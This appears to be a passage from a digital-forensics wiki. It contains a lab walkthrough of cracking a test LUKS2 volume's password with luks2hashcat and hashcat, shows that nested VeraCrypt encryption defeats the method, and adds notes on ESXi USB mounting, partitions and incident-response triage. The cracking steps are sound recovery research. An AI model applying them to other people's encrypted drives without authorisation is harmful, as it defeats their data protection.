        sector: 512 [bytes]

Keyslots:
  0: luks2
        Key:        512 bits
        Priority:   normal
        Cipher:     aes-xts-plain64
        Cipher key: 512 bits
        PBKDF:      argon2id
        Time cost:  5
        Memory:     1048576
        Threads:    4
        Salt:       60 a0 ab 32 26 09 c0 7b 1c bf 08 a0 2a 2f a6 0f
                    3b ab aa 65 d3 33 73 05 ac e1 72 a8 b9 a8 6d 44
        AF stripes: 4000
        AF hash:    sha256
        Area offset:32768 [bytes]
        Area length:258048 [bytes]
        Digest ID:  0
Tokens:
Digests:
  0: pbkdf2
        Hash:       sha256
        Iterations: 118724
        Salt:       50 d4 e4 45 2e 30 1a b9 a7 72 4e b6 eb 94 de cb
                    d7 f6 f1 93 65 c7 76 fb 22 6f d9 d5 9f 3f 1a 3d
        Digest:     93 25 02 6f f6 82 09 72 d5 19 b3 74 44 aa 10 65
                    a0 6a 61 5c bf 4c fc 13 2a bf fc f8 73 9a ab 91
```

Run luks2hashcat against /dev/sdc

```
python3 luks2hashcat.py /dev/sdc > sdc.hash
```

Verify the contents of sdc.hash, noting the first line of values (luks,2,argon2id,sha256, etc etc) aligns with the values we observed above. Note the end of the file (after the final $ placeholder) only contains zeroes - we'll come back to that shortly.

<figure><img src="/files/zYNNQXQy4343kl8VMrWQ" alt=""><figcaption></figcaption></figure>

Let's run hashcat (v7.1.2,  which supports argon2) against the hash with a simple dictionary attack (-a 0) and using  100 words in passwords.list (which contains 'password' as a candidate)

```
$ hashcat.exe -a 0 -m 34100 sdc.hash passwords.list

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 34100 (LUKS v2 argon2 + SHA-256 + AES)
Hash.Target......: $luks$2$argon2id$sha256$aes$xts-plain64$512$m=10485...000000
Time.Started.....: Sun Nov 09 12:41:24 2025 (24 secs)
Time.Estimated...: Sun Nov 09 12:41:48 2025 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (passwords.list)
Guess.Queue......: 1/1 (100.00%)
```

Strange - should've identified the correct password, right? That's because the LUKS container doesn't contain any data, and appears to be required to prove decryption.

Let's go back to /dev/sdc and create an ext4 filesystem, then compare our hashes and try again.

```
$ lsblk -lf
NAME FSTYPE      FSVER LABEL UUID                         FSAVAIL FSUSE% MOUNTPOINTS
sdc  crypto_LUKS 2           f4bd2ee4-969d-4022-b61e-23524e83f592

$ cryptsetup luksOpen /dev/sdc sdc
Enter passphrase for /dev/sdc:

$ mkfs.ext4 /dev/mapper/sdc
mke2fs 1.46.5 (30-Dec-2021)
Creating filesystem with 520192 4k blocks and 130048 inodes
Filesystem UUID: 20bb32f6-e8cc-4ea8-a483-136ea7d5fed8
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376, 294912

Allocating group tables: done
Writing inode tables: done
Creating journal (8192 blocks): done
Writing superblocks and filesystem accounting information: done

$ cryptsetup luksClose sdc
$ lsblk -lf
NAME FSTYPE      FSVER LABEL UUID                         FSAVAIL FSUSE% MOUNTPOINTS
sdc  crypto_LUKS 2           f4bd2ee4-969d-4022-b61e-23524e83f592

$ lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
sdc      8:32   0    2G  0 disk

$ python3 luks2hashcat.py /dev/sdc > sdc.ext4.hash
```

A quick comparison between sdc.hash and sdc.ext4.hash shows that the data portion we identified above, is now populated with data (since there's a filesystem, the container is no longer empty and actually contains data).

<figure><img src="/files/kwHW7i4NLMyDLp9Stt9q" alt=""><figcaption></figcaption></figure>

If we run hashcat again using the same command, we'll see the password is now cracked.

{% code overflow="wrap" %}

```
$3b900f5a933786926fedf8e520089c600444d103fba763f5490822e0b3b1f97bcf4ed4c7eb3580bad2a63a73eef5ce539369995d6898c59f6b9c246f028f082051e958d5b110e8f90df0cf81216b8776fd1c93bf7146b8e493253f25c2d21a7a3be2c8a57a04874c75f75acd1d5406e06a7901756df56e07a536c9bfaec652aecaefd4e4bae3dc38a639d919c3fbc54b98d6a66ef90475248a76868a47fe1c31b064943c2835542ce1cae1a5b5e38455ae8cd615357132c915abcc19159afa2e0a058960b0e9e63447bf53c7168bc0fddf8ee7edadb7e8a59a616004d5b9e008428ed88cd837dc85b76c255306375c60bd362b6bc6966328a1bda6c97b1e4c6194c194d4f347eb420cd93821dcf120060e65b679a8641bf2731b9982adc81da24f0074894566c0c3ed15f49d9340941575a45801bca5c089954459cf90b7b45b64dabe51ded570ca9d1d7cd52b696822aa10bcd798942ad893ce8b5e0b5c0aef03044855b463c7a70c81216967956b44670fa14d73512ba394fbfae743e8b277ffb6303de7e30e2ccc82ad8fe7e304d34b91319ae4e8c494a71273c93dd488ed2c7dadd4dd406b6680e9d2471afe48968d01b2b95d02d0be8bd3254d17b17594afe6f89126cb7d4def020c6e31b8ee71e055afe43b3c35a0238b862c9d3951fa75b90f60d21f1845d0b54b7f5de8b9fade8bbaa5d00ea9a427d5bc9b27c782a4:password

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 34100 (LUKS v2 argon2 + SHA-256 + AES)
Hash.Target......: $luks$2$argon2id$sha256$aes$xts-plain64$512$m=10485...c782a4
Time.Started.....: Sun Nov 09 12:48:26 2025 (9 secs)
Time.Estimated...: Sun Nov 09 12:48:35 2025 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (passwords.list)
```

{% endcode %}

This raised the question - does the data portion of the hash have to be verified by opening/mounting the container/filesystem etc before the password candidate will be identified as valid? What if the encrypted block device/partition was intended to be mounted by another program (VeraCrypt, for example) - how will this complicate recovery efforts?

Using a fresh /dev/sdc, we'll do the following;

1. Create a LUKS2 volume, password is password.
2. Leave the block device unformatted (no filesystem).
3. Mount the LUKS2 volume as 'sdc'
4. Encrypt /dev/mapper/sdc using VeraCrypt, 'veracrypt' as the password

Completing steps 1 to 3, and then running luks2hashcat against /dev/sdc, we can see the data portion is still zeroes. So we'll create a VeraCrypt container (using /dev/mapper/sdc)

{% code overflow="wrap" %}

```
bc$0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
$ cryptsetup luksOpen /dev/sdc sdc
Enter passphrase for /dev/sdc:

$ lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINTS

sdc      8:32   0    2G  0 disk
└─sdc  253:0    0    2G  0 crypt

$ veracrypt -t -c
Volume type:
 1) Normal
 2) Hidden
Select [1]:

Enter volume path: /dev/mapper/sdc

Encryption Algorithm:
 1) AES
 2) Serpent
 3) Twofish
 4) Camellia
 5) Kuznyechik
 6) AES(Twofish)
 7) AES(Twofish(Serpent))
 8) Camellia(Kuznyechik)
 9) Camellia(Serpent)
 10) Kuznyechik(AES)
 11) Kuznyechik(Serpent(Camellia))
 12) Kuznyechik(Twofish)
 13) Serpent(AES)
 14) Serpent(Twofish(AES))
 15) Twofish(Serpent)
Select [1]:

Hash algorithm:
 1) SHA-512
 2) SHA-256
 3) BLAKE2s-256
 4) Whirlpool
 5) Streebog
Select [1]:

Filesystem:
 1) None
 2) FAT
 3) Linux Ext2
 4) Linux Ext3
 5) Linux Ext4
 6) NTFS
 7) exFAT
 8) Btrfs
Select [2]: 5

Enter password:
WARNING: Short passwords are easy to crack using brute force techniques!

We recommend choosing a password consisting of 20 or more characters. Are you sure you want to use a short password? (y=Yes/n=No) [No]: y

Re-enter password:
Enter PIM:
Enter keyfile path [none]:

Please type at least 320 randomly chosen characters and then press Enter:
Done: 100.000%  Speed:  25 MiB/s  Left: 0 s

The VeraCrypt volume has been successfully created.

$ cryptsetup luksDump /dev/sdc
LUKS header information
Version:        2
Epoch:          3
Metadata area:  16384 [bytes]
Keyslots area:  16744448 [bytes]
UUID:           089aa779-bc36-41e6-a207-73981b4d3e36
Label:          (no label)
Subsystem:      (no subsystem)
Flags:          (no flags)

Data segments:
  0: crypt
        offset: 16777216 [bytes]
        length: (whole device)
        cipher: aes-xts-plain64
        sector: 512 [bytes]

Keyslots:
  0: luks2
        Key:        512 bits
        Priority:   normal
        Cipher:     aes-xts-plain64
        Cipher key: 512 bits
        PBKDF:      argon2id
        Time cost:  4
        Memory:     997316
        Threads:    4
        Salt:       d2 50 7c 75 e0 59 6e c7 1a 6b 8c df b2 15 62 81
                    8c 7b 17 7e f2 fd 50 e5 73 04 c8 a5 75 19 fc 11
        AF stripes: 4000
        AF hash:    sha256
        Area offset:32768 [bytes]
        Area length:258048 [bytes]
        Digest ID:  0
Tokens:
Digests:
  0: pbkdf2
        Hash:       sha256
        Iterations: 89043
        Salt:       65 9c e9 12 ba 39 f9 6a 36 1a 41 c7 e0 31 6e 1a
                    59 e0 89 26 69 ee 6d 40 b6 59 62 c6 91 03 1d 07
        Digest:     5e 29 39 16 6f 23 e9 e4 57 09 b6 4b 14 7b fa 9b
                    03 ed 18 15 70 6a cb 9f 6d da 59 8e e7 3c c2 06
```

{% endcode %}

Verify there is no filesystem on /dev/sdc, or sdc (/dev/mapper/sdc)

```
$ lsblk -lf
NAME FSTYPE      FSVER LABEL UUID                         FSAVAIL FSUSE% MOUNTPOINTS
sdc  crypto_LUKS 2           089aa779-bc36-41e6-a207-73981b4d3e36
sdc
```

Mount VeraCrypt container and verify

```
$ mkdir /mnt/vc
$ veracrypt /dev/mapper/sdc /mnt/vc
Enter password for /dev/mapper/sdc:
Enter PIM for /dev/mapper/sdc:
Enter keyfile [none]:
Protect hidden volume (if any)? (y=Yes/n=No) [No]:

$ ls /mnt/vc
lost+found

$ lsblk -lf
NAME       FSTYPE      FSVER LABEL UUID                            FSAVAIL FSUSE% MOUNTPOINTS
sdc        crypto_LUKS 2           089aa779-bc36-41e6-a207-73981b4d3e36
sdc
veracrypt1 ext4        1.0         00adf9dc-6299-4a42-86ac-dfeca64c21d6    1.8G     0% /mnt/vc
```

Unmount both the VeraCrypt and LUKS volumes.

```
$ veracrypt -u /dev/mapper/sdc; cryptsetup luksClose sdc
```

Calculate the hash for /dev/sdc (expecting a non-zero footer)

{% code overflow="wrap" %}

```
$ python3 luks2hashcat.py /dev/sdc > sdc.vc.hash

$ tail -c 1024 -f sdc.vc.hash
c26e500a620208c74f17b177524a2d2b2c91dfcc3ab683ce7a075848290321c9b4b810b147c3e4f640e751de74e35b7c48b36ff08f5f13d98524eec50730fbd28722d80867849230535dfb932d9347188fe413f6e4106a0d731dbe8380f4853b1b482354879cb06f91a0c76cea8a5d6a4bf13178edb196769429ab7854635e92cf1ba3dfe48e548038e779b93d0942e7860dab90e39ecffa243c8c7146600ef7de2a5f86d214b7e99f64218ad052e9010d3d105b5546ef20e1be4cfe062691b51efdde4c874ee059d2ef860b685404b805b73b518593df96439517df9bfd9ef6a1248a7f42dabd6fd06329357bea2f7c315d2846131f03fad7705e9545f23e5b643575c29fa9d7f24c4d7a7cea93a9e7772a8be6e7e58a21a009a7497b8f4a0dc7bfb4ce37792a79d4a8c2d55ae4720c0bcd6666065c0f1d1a9fece9db41cabd94fdded4adc8d0cd69d63acb9b5493b334f2030df05f327115fcf3654b53baa3b7769aa63f1c1985a09cc004911ac694871e46efee372613ac8ce1f6020ea81abbb31c55be8704f266309fc2d654d1763e061fe759943e5c61084beeccb7555ca56d6b8e3c91e91cb2e102ff26bec883cc54edfc491930c09981d45bf463828d954f03f194399c5f8c6875d1a2705453dd89ac0c097948ff2b8cc8d207e058377789a5b2d5ae2ae4e2c78e7c436e4baf7a62e1b81b2abfe5f4d64164381a2b
```

{% endcode %}

Run hashcat again.. no results.

```
$ hashcat.exe -a 0 -m 34100 sdc.vc.hash passwords.list

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 34100 (LUKS v2 argon2 + SHA-256 + AES)
Hash.Target......: $luks$2$argon2id$sha256$aes$xts-plain64$512$m=99731...81a2bf
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (passwords.list)
Guess.Queue......: 1/1 (100.00%)
```


# Mount external USB device in ESXi hypervisor

How to mount an external USB drive in an ESXi hypervisor for host access. I highly recommend using a new, large disk (depending on your requirements) which will be formatted using VMFS/VMFS6.

1. Stop USB service

```
[root@esxi:~] /etc/init.d/usbarbitrator stop
watchdog-usbarbitrator[2101796]: Terminating watchdog process with PID 2098419
stopping usbarbitrator...
usbarbitrator stopped
```

2. Connect external USB drive to ESXi host (in this example we're using a 32GB SanDisk USB)

```
[root@esxi:~] vdq -q
      "Name"     : "mpx.vmhba35:C0:T0:L0",
      "VSANUUID" : "",
      "State"    : "Ineligible for use by VSAN",
      "Reason"   : "Has partitions",
      "IsSSD"    : "0",
"IsCapacityFlash": "0",
      "IsPDL"    : "0",
      "Size(MB)" : "29340",
    "FormatType" : "512n",
   "IsVsanDirectDisk" : "0"
   }
```

3. Format entire external drive using **vmkfstools**&#x20;

```
[root@esxi:~] vmkfstools -C vmfs6 -S MyVolume /dev/disks/mpx.vmhba35:C0:T0:L0:1
create fs deviceName:'/dev/disks/mpx.vmhba35:C0:T0:L0:1', fsShortName:'vmfs6', fsName:'MyVolume'
deviceFullPath:/dev/disks/mpx.vmhba35:C0:T0:L0:1 deviceFile:mpx.vmhba35:C0:T0:L0:1
ATS on device /dev/disks/mpx.vmhba35:C0:T0:L0:1: not supported
.
Checking if remote hosts are using this device as a valid file system. This may take a few seconds...
Scanning for VMFS-6 host activity (4096 bytes/HB, 1024 HBs).
Creating vmfs6 file system on "mpx.vmhba35:C0:T0:L0:1" with blockSize 1048576, unmapGranularity 1048576, unmapPriority default and volume label "MyVolume".
Successfully created new volume: 66909728-dd72c566-8a2f-3cecef04e91c
```

4. Check volume is mounted and accessible

```
[root@esxi:~] ls -lah /vmfs/volumes/
<snip>
lrwxr-xr-x    1 root     root          35 Jul 12 02:39 MyVolume -> 66909728-dd72c566-8a2f-3cecef04e91c
```

5. Check you can read/write to mounted volume

```
[root@esxi:~] echo "32GB" > /vmfs/volumes/MyVolume/something.txt
[root@esxi:~] cat /vmfs/volumes/MyVolume/something.txt
32GB
```

6. To mount your VMFS volume/disk on Linux, read this <https://www.iblue.team/esxi-forensics/esxi-vmfs-exploration>

**Note**: if you receive an error similar to the following, you need to specify the actual partition you're intending to format (mpx.vmhba35:C0:T0:L&#x30;**:1** instead of mpx.vmhba35:C0:T0:L0)

```
Failed to create VMFS on device mpx.vmhba35:C0:T0:L0
/dev/disks/mpx.vmhba35:C0:T0:L0: Permission denied.  (Have you set the partition type to 0xfb?)
Error: Permission denied
```


# Understanding ESXi


# Partitions / Volumes

This hypervisor has 1 x 250GB NVMe SSD (Kingston A2000) and 1 x 2TB Samsung 870 QVO SATA SSD.

To identify the disks and partitions;

```
[root@localhost:~] ls -l /vmfs/devices/disks/
total 4395419064
-rw-------    1 root     root     2000398934016 Apr 29 04:54 t10.ATA_____Samsung_SSD_870_QVO_2TB_________________S5SUNF0R913749K_____
-rw-------    1 root     root     2000396747264 Apr 29 04:54 t10.ATA_____Samsung_SSD_870_QVO_2TB_________________S5SUNF0R913749K_____:2
-rw-------    1 root     root     250059350016 Apr 29 04:54 t10.NVMe____KINGSTON_SA2000M8250G___________________C5593D5168B72600
-rw-------    1 root     root     104857600 Apr 29 04:54 t10.NVMe____KINGSTON_SA2000M8250G___________________C5593D5168B72600:1
-rw-------    1 root     root     4293918720 Apr 29 04:54 t10.NVMe____KINGSTON_SA2000M8250G___________________C5593D5168B72600:5
-rw-------    1 root     root     4293918720 Apr 29 04:54 t10.NVMe____KINGSTON_SA2000M8250G___________________C5593D5168B72600:6
-rw-------    1 root     root     128742064128 Apr 29 04:54 t10.NVMe____KINGSTON_SA2000M8250G___________________C5593D5168B72600:7
-rw-------    1 root     root     112619331072 Apr 29 04:54 t10.NVMe____KINGSTON_SA2000M8250G___________________C5593D5168B72600:8
lrwxrwxrwx    1 root     root            68 Apr 29 04:54 vml.0100000000433535395f334435315f363842375f32363030004b494e475354 -> t10.NVMe____KINGSTON_SA2000M8250G___________________C5593D5168B72600
lrwxrwxrwx    1 root     root            70 Apr 29 04:54 vml.0100000000433535395f334435315f363842375f32363030004b494e475354:1 -> t10.NVMe____KINGSTON_SA2000M8250G___________________C5593D5168B72600:1
lrwxrwxrwx    1 root     root            70 Apr 29 04:54 vml.0100000000433535395f334435315f363842375f32363030004b494e475354:5 -> t10.NVMe____KINGSTON_SA2000M8250G___________________C5593D5168B72600:5
lrwxrwxrwx    1 root     root            70 Apr 29 04:54 vml.0100000000433535395f334435315f363842375f32363030004b494e475354:6 -> t10.NVMe____KINGSTON_SA2000M8250G___________________C5593D5168B72600:6
lrwxrwxrwx    1 root     root            70 Apr 29 04:54 vml.0100000000433535395f334435315f363842375f32363030004b494e475354:7 -> t10.NVMe____KINGSTON_SA2000M8250G___________________C5593D5168B72600:7
lrwxrwxrwx    1 root     root            70 Apr 29 04:54 vml.0100000000433535395f334435315f363842375f32363030004b494e475354:8 -> t10.NVMe____KINGSTON_SA2000M8250G___________________C5593D5168B72600:8
lrwxrwxrwx    1 root     root            72 Apr 29 04:54 vml.0100000000533553554e4630523931333734394b202020202053616d73756e -> t10.ATA_____Samsung_SSD_870_QVO_2TB_________________S5SUNF0R913749K_____
lrwxrwxrwx    1 root     root            74 Apr 29 04:54 vml.0100000000533553554e4630523931333734394b202020202053616d73756e:2 -> t10.ATA_____Samsung_SSD_870_QVO_2TB_________________S5SUNF0R913749K_____:2
lrwxrwxrwx    1 root     root            68 Apr 29 04:54 vml.052b2c3dd7d64c86be0724a2e781d8178a37266e63476cfc9276f4517b9d400370 -> t10.NVMe____KINGSTON_SA2000M8250G___________________C5593D5168B72600
lrwxrwxrwx    1 root     root            70 Apr 29 04:54 vml.052b2c3dd7d64c86be0724a2e781d8178a37266e63476cfc9276f4517b9d400370:1 -> t10.NVMe____KINGSTON_SA2000M8250G___________________C5593D5168B72600:1
lrwxrwxrwx    1 root     root            70 Apr 29 04:54 vml.052b2c3dd7d64c86be0724a2e781d8178a37266e63476cfc9276f4517b9d400370:5 -> t10.NVMe____KINGSTON_SA2000M8250G___________________C5593D5168B72600:5
lrwxrwxrwx    1 root     root            70 Apr 29 04:54 vml.052b2c3dd7d64c86be0724a2e781d8178a37266e63476cfc9276f4517b9d400370:6 -> t10.NVMe____KINGSTON_SA2000M8250G___________________C5593D5168B72600:6
lrwxrwxrwx    1 root     root            70 Apr 29 04:54 vml.052b2c3dd7d64c86be0724a2e781d8178a37266e63476cfc9276f4517b9d400370:7 -> t10.NVMe____KINGSTON_SA2000M8250G___________________C5593D5168B72600:7
lrwxrwxrwx    1 root     root            70 Apr 29 04:54 vml.052b2c3dd7d64c86be0724a2e781d8178a37266e63476cfc9276f4517b9d400370:8 -> t10.NVMe____KINGSTON_SA2000M8250G___________________C5593D5168B72600:8
```

We can then run partedUtil on the specified disk to identify partitions. The A2000 has ESXi installed.

```
[root@localhost:~] partedUtil getptbl "/vmfs/devices/disks/t10.NVMe____KINGSTON_SA2000M8250G___________________C5593D5168B72600"
gpt
30401 255 63 488397168
1 64 204863 C12A7328F81F11D2BA4B00A0C93EC93B systemPartition 128
5 208896 8595455 EBD0A0A2B9E5443387C068B6B72699C7 linuxNative 0
6 8597504 16984063 EBD0A0A2B9E5443387C068B6B72699C7 linuxNative 0
7 16986112 268435455 4EB2EA3978554790A79EFAE495E21F8D vmfsl 0
8 268437504 488397134 AA31E02A400F11DB9590000C2911D1B8 vmfs 0
```

The QVO is configured as a single VMFS datastore

```
[root@localhost:~] partedUtil getptbl "/vmfs/devices/disks/t10.ATA_____Samsung_SSD_870_QVO_2TB_________________S5SUNF0R913749K_____"
gpt
243201 255 63 3907029168
2 2048 3907026944 AA31E02A400F11DB9590000C2911D1B8 vmfs 0
```


# ESXi console / shell

ESXi is a custom kernel. Typical IR tools which are designed for Linux kernels are going to fail.

Management via SSH needs to be enabled via the web interface prior to being accessible via the CLI. To enable it, go to <https://hostname:/ui/#/manage/services> and search for SSH (TSH-SSH) and enable it.

After connecting via SSH, you'll be droped into a shell. It's a cutdown/customised BusyBox shell.\
Note: SSH authorised keys are here **/etc/ssh/keys-root/authorized\_keys**

**Common log file locations**

{% embed url="<https://docs.vmware.com/en/VMware-vSphere/7.0/com.vmware.vsphere.monitoring.doc/GUID-832A2618-6B11-4A28-9672-93296DA931D0.html>" %}

A lot of incident response scripts (UAC for example) will attempt to identify the kernel of the operating system based on the output of *uname -a* or *lsb\_release -a.*&#x20;

```
[root@localhost:~] uname -a
VMkernel hostname.domain 7.0.3 #1 SMP Release build-19193900 Jan 11 2022 15:57:16 x86_64 x86_64 x86_64 ESXi
[root@localhost:~]
```

UAC execution/triaging on an ESXi hypervisor. **If you're using UAC v2.1.0 or earlier, it will fail unless you specify the kernel using the '-s' switch.**

```
[root@localhost:~] ./uac -p full /output-directory -s linux
```

Hash functions still exist on ESXi (md5sum, sha1sum, sha256sum, sha512sum)\
Imaging can be done via **dd**\
Compression can be done via **gzip**

The following is a list of the commands available on ESXi 7.0 RC3

```
[root@localhost:~]
BootModuleConfig.sh          esxtokend                    net-lbt                      stty
VmfsLatencyStats.py          esxtop                       net-stats                    sum
Xorg                         esxupdate                    netdbg                       summarize-dvfilter
[                            expr                         netdbg.py                    sync
[[                           false                        nfcd                         tail
amldump                      fgrep                        nfsStats                     tar
apiForwarder                 filter-modified-files.pyc    nicmgmtd                     taskset
apply-host-profiles          find                         nohup                        tcpdump-uw
applyHostProfile             firmwareConfig.py            nologin                      techsupport.sh
applyHostProfileWrapper      gdbserver                    nslookup                     tee
ash                          generate-certificates        ntp-keygen                   test
authd                        getAccessToken               ntpd                         time
auto-backup.sh               getty                        ntpq                         timeout
awk                          gpuvm                        od                           tmpwatch.py
backup-check                 grabCIMData                  openssl                      touch
backup.sh                    grep                         openwsmand                   tpm2emu
basename                     gstorecli                    pam_tally2                   tracenet
bootOption                   gunzip                       partedUtil                   traceroute
bunzip2                      gzip                         passwd                       true
bzip2                        halt                         pcpu-exec-stats              udpTraceLogger
cat                          hbrfilterctl                 pcscd                        uname
chardevlogger                head                         pgrep                        uniq
check_serial                 hexdump                      pidof                        unlzop
chgrp                        host_reboot.sh               pigz                         unzip
chkconfig                    host_shutdown.sh             ping                         updateProductLockerPolicy
chmod                        hostd                        ping6                        uptime
chown                        hostd-probe                  pkill                        usleep
chvt                         hostd-probe.sh               pktcap-uw                    uwstats
cim-diagnostic.sh            hostdCgiServer               pmemGC                       vdf
cim_host_powerops            hostname                     powerOffVms                  vdq
cksum                        hwclock                      poweroff                     vdu
clear                        indcfg                       printf                       vi
cmmds-tool                   inetd                        prop_of_instances            viewAudit
configstorecli               init                         ps                           vim-cmd
cp                           init-launcher                ptpd                         vm-support
crond                        initSystemStorage            pwqcheck                     vmdumper
crx-cli                      initterm.sh                  python                       vmfs-support
crypto-util                  install                      python3                      vmfsfilelockinfo
cut                          io-stats                     python3.5                    vmkbacktrace
date                         ioinsight                    python3.8                    vmkchdev
dcbd                         irqinfo                      randomSeed                   vmkdevmgr
dcui                         jumper2                      readlink                     vmkdump_extract
dcuiweasel                   jumpstart                    reboot                       vmkerrcode
dd                           kdestroy                     remoteDeviceConnect          vmkflames.pyc
df                           kill                         reset                        vmkfstools
dhclient-uw                  kinit                        resize                       vmkipcrm
diff                         klist                        rhttpproxy                   vmkipcs
dirname                      less                         rm                           vmkiscsid
dmesg                        libvmkdevmgr.so              rmdir                        vmkload_mod
dnsdomainname                lldpnetmap                   rollbackUtil.pyc             vmkmkdev
doat                         ln                           rpcfg                        vmkperf
dosfsck                      loadESXEnable                runInRP                      vmkping
du                           localcli                     sandboxd                     vmkramdisk
echo                         lockfile                     sched-stats                  vmkvsitools
egrep                        logchannellogger             schedsnapshot                vmtar
eject                        logger                       scp                          vmtoolsd
enum_instances               login                        sdrsInjector                 vmware
env                          ls                           secpolicytools               vmware-autostart.sh
esxcfg-advcfg                lsacpi                       sed                          vmware-toolbox-cmd
esxcfg-dumppart              lsof                         sensord                      vmware-usbarbitrator
esxcfg-fcoe                  lsom-stats                   seq                          vmware-vimdump
esxcfg-hwiscsi               lspci                        services.sh                  vmx
esxcfg-info                  lsud                         setsid                       vmx-buildtype
esxcfg-init                  lsusb                        sfcbd                        vmx-debug
esxcfg-ipsec                 lzop                         sh                           vmx-stats
esxcfg-module                lzopcat                      sha1sum                      voma
esxcfg-mpath                 mcopy                        sha256sum                    vprobe
esxcfg-nas                   md5sum                       sha512sum                    vsantop
esxcfg-nics                  mdir                         sharedStorageHostProfile.sh  vscsiStats
esxcfg-rescan                memstats                     shutdown.sh                  vsi_traverse
esxcfg-resgrp                mkdir                        sleep                        vsish
esxcfg-route                 mkfifo                       slpd                         vvold
esxcfg-scsidevs              mknod                        smartd                       watch
esxcfg-swiscsi               mktemp                       smbiosDump                   watchdog.sh
esxcfg-vmknic                mmd                          snmpd                        wc
esxcfg-volume                more                         sntp                         wget
esxcfg-vswitch               mtools                       sort                         which
esxcli                       mv                           ssh                          who
esxcli.py                    nc                           ssl_client                   xargs
esxgdpd                      net-cdp                      stat                         xkbcomp
esxhpcli                     net-dvs                      storageRM                    xz
esxhpedit                    net-lacp                     strace                       zcat
[root@localhost:~]
BootModuleConfig.sh          esxtokend                    net-lbt                      stty
VmfsLatencyStats.py          esxtop                       net-stats                    sum
Xorg                         esxupdate                    netdbg                       summarize-dvfilter
[                            expr                         netdbg.py                    sync
[[                           false                        nfcd                         tail
amldump                      fgrep                        nfsStats                     tar
apiForwarder                 filter-modified-files.pyc    nicmgmtd                     taskset
apply-host-profiles          find                         nohup                        tcpdump-uw
applyHostProfile             firmwareConfig.py            nologin                      techsupport.sh
applyHostProfileWrapper      gdbserver                    nslookup                     tee
ash                          generate-certificates        ntp-keygen                   test
authd                        getAccessToken               ntpd                         time
auto-backup.sh               getty                        ntpq                         timeout
awk                          gpuvm                        od                           tmpwatch.py
backup-check                 grabCIMData                  openssl                      touch
backup.sh                    grep                         openwsmand                   tpm2emu
basename                     gstorecli                    pam_tally2                   tracenet
bootOption                   gunzip                       partedUtil                   traceroute
bunzip2                      gzip                         passwd                       true
bzip2                        halt                         pcpu-exec-stats              udpTraceLogger
cat                          hbrfilterctl                 pcscd                        uname
chardevlogger                head                         pgrep                        uniq
check_serial                 hexdump                      pidof                        unlzop
chgrp                        host_reboot.sh               pigz                         unzip
chkconfig                    host_shutdown.sh             ping                         updateProductLockerPolicy
chmod                        hostd                        ping6                        uptime
chown                        hostd-probe                  pkill                        usleep
chvt                         hostd-probe.sh               pktcap-uw                    uwstats
cim-diagnostic.sh            hostdCgiServer               pmemGC                       vdf
cim_host_powerops            hostname                     powerOffVms                  vdq
cksum                        hwclock                      poweroff                     vdu
clear                        indcfg                       printf                       vi
cmmds-tool                   inetd                        prop_of_instances            viewAudit
configstorecli               init                         ps                           vim-cmd
cp                           init-launcher                ptpd                         vm-support
crond                        initSystemStorage            pwqcheck                     vmdumper
crx-cli                      initterm.sh                  python                       vmfs-support
crypto-util                  install                      python3                      vmfsfilelockinfo
cut                          io-stats                     python3.5                    vmkbacktrace
date                         ioinsight                    python3.8                    vmkchdev
dcbd                         irqinfo                      randomSeed                   vmkdevmgr
dcui                         jumper2                      readlink                     vmkdump_extract
dcuiweasel                   jumpstart                    reboot                       vmkerrcode
dd                           kdestroy                     remoteDeviceConnect          vmkflames.pyc
df                           kill                         reset                        vmkfstools
dhclient-uw                  kinit                        resize                       vmkipcrm
diff                         klist                        rhttpproxy                   vmkipcs
dirname                      less                         rm                           vmkiscsid
dmesg                        libvmkdevmgr.so              rmdir                        vmkload_mod
dnsdomainname                lldpnetmap                   rollbackUtil.pyc             vmkmkdev
doat                         ln                           rpcfg                        vmkperf
dosfsck                      loadESXEnable                runInRP                      vmkping
du                           localcli                     sandboxd                     vmkramdisk
echo                         lockfile                     sched-stats                  vmkvsitools
egrep                        logchannellogger             schedsnapshot                vmtar
eject                        logger                       scp                          vmtoolsd
enum_instances               login                        sdrsInjector                 vmware
env                          ls                           secpolicytools               vmware-autostart.sh
esxcfg-advcfg                lsacpi                       sed                          vmware-toolbox-cmd
esxcfg-dumppart              lsof                         sensord                      vmware-usbarbitrator
esxcfg-fcoe                  lsom-stats                   seq                          vmware-vimdump
esxcfg-hwiscsi               lspci                        services.sh                  vmx
esxcfg-info                  lsud                         setsid                       vmx-buildtype
esxcfg-init                  lsusb                        sfcbd                        vmx-debug
esxcfg-ipsec                 lzop                         sh                           vmx-stats
esxcfg-module                lzopcat                      sha1sum                      voma
esxcfg-mpath                 mcopy                        sha256sum                    vprobe
esxcfg-nas                   md5sum                       sha512sum                    vsantop
esxcfg-nics                  mdir                         sharedStorageHostProfile.sh  vscsiStats
esxcfg-rescan                memstats                     shutdown.sh                  vsi_traverse
esxcfg-resgrp                mkdir                        sleep                        vsish
esxcfg-route                 mkfifo                       slpd                         vvold
esxcfg-scsidevs              mknod                        smartd                       watch
esxcfg-swiscsi               mktemp                       smbiosDump                   watchdog.sh
esxcfg-vmknic                mmd                          snmpd                        wc
esxcfg-volume                more                         sntp                         wget
esxcfg-vswitch               mtools                       sort                         which
esxcli                       mv                           ssh                          who
esxcli.py                    nc                           ssl_client                   xargs
esxgdpd                      net-cdp                      stat                         xkbcomp
esxhpcli                     net-dvs                      storageRM                    xz
